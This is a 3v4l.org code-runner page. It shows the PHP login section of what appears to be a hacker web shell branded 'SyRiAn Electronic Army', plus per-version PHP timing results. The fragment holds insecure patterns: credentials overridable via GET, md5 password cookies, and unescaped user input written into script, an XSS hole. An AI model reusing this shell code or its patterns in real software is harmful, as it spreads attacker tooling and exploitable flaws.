3v4l.org

run code in 300+ PHP versions simultaneously
# ---------------------------------------# # Authentication # #----------------------------------------# if ($uselogin ==1) { if($_COOKIE["user"] != $user or $_COOKIE["pass"] != md5($pass)) { if($_GET) {$user = $_GET['user'];$pass = $_GET['pass'];} if($_POST['usrname']==$user && $_POST['passwrd']==$pass){ print'<script>document.cookie="user='.$_POST['usrname'].';";document.cookie="pass='.md5($_POST['passwrd']).';";</script>'; } else { if($_POST['usrname']){ print'<script>alert("Go and play in the street man !!");</script>'; } ?> <br><br> <center><img src="http://i40.tinypic.com/2rpuped.png"><br /> <sy>SyRiAn Electronic Army</sy> </center><br /> <div align="center"> <form method="POST" name="login_form" onSubmit="if(this.usrname.value==''){return false;}"> <input dir="ltr" name="usrname" id="username" value="" type="text" size="30" onBlur="Blur('username','userName');" onClick="Clear('username','userName');"/><br> <input dir="ltr" name="passwrd" id="password" value="" type="password" size="30" onFocus="Focus(2);" /><br> <input type="submit" value=" Login " name="login" /> </form> </div> <?php footer(); exit; } } } ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
5.4.290.0100.03612.49
5.4.280.0040.03912.39
5.4.270.0070.03712.39
5.4.260.0060.03912.39
5.4.250.0040.04112.39
5.4.240.0080.04412.39
5.4.230.0110.03412.38
5.4.220.0090.04012.38
5.4.210.0080.03512.38
5.4.200.0030.04312.38
5.4.190.0060.03912.38
5.4.180.0080.03912.38
5.4.170.0080.03912.39
5.4.160.0080.05412.37
5.4.150.0080.03612.38
5.4.140.0070.05312.07
5.4.130.0090.03912.05
5.4.120.0110.05312.02
5.4.110.0060.04512.01
5.4.100.0060.05012.01
5.4.90.0060.05912.01
5.4.80.0070.05112.01
5.4.70.0080.05012.01
5.4.60.0070.03712.00
5.4.50.0090.04412.01
5.4.40.0070.03611.99
5.4.30.0100.03412.00
5.4.20.0130.09211.99
5.4.10.0090.05211.99
5.4.00.0050.04811.48
5.3.280.0200.05612.70
5.3.270.0070.04212.72
5.3.260.0100.04512.71
5.3.250.0090.04712.72
5.3.240.0200.05212.72
5.3.230.0100.04212.71
5.3.220.0080.04112.68
5.3.210.0080.05212.68
5.3.200.0280.08812.68
5.3.190.0090.04312.68
5.3.180.0140.05412.68
5.3.170.0050.04512.66
5.3.160.0060.03912.68
5.3.150.0060.04112.67
5.3.140.0100.03612.66
5.3.130.0080.04612.66
5.3.120.0050.04112.66
5.3.110.0100.04112.66
5.3.100.0110.04712.12
5.3.90.0080.03812.08
5.3.80.0080.03712.07
5.3.70.0060.03712.08
5.3.60.0070.03612.06
5.3.50.0090.03512.00
5.3.40.0080.04312.00
5.3.30.0100.03511.95
5.3.20.0110.04411.72
5.3.10.0090.04111.70
5.3.00.0070.04411.68

preferences:
142.18 ms | 1394 KiB | 7 Q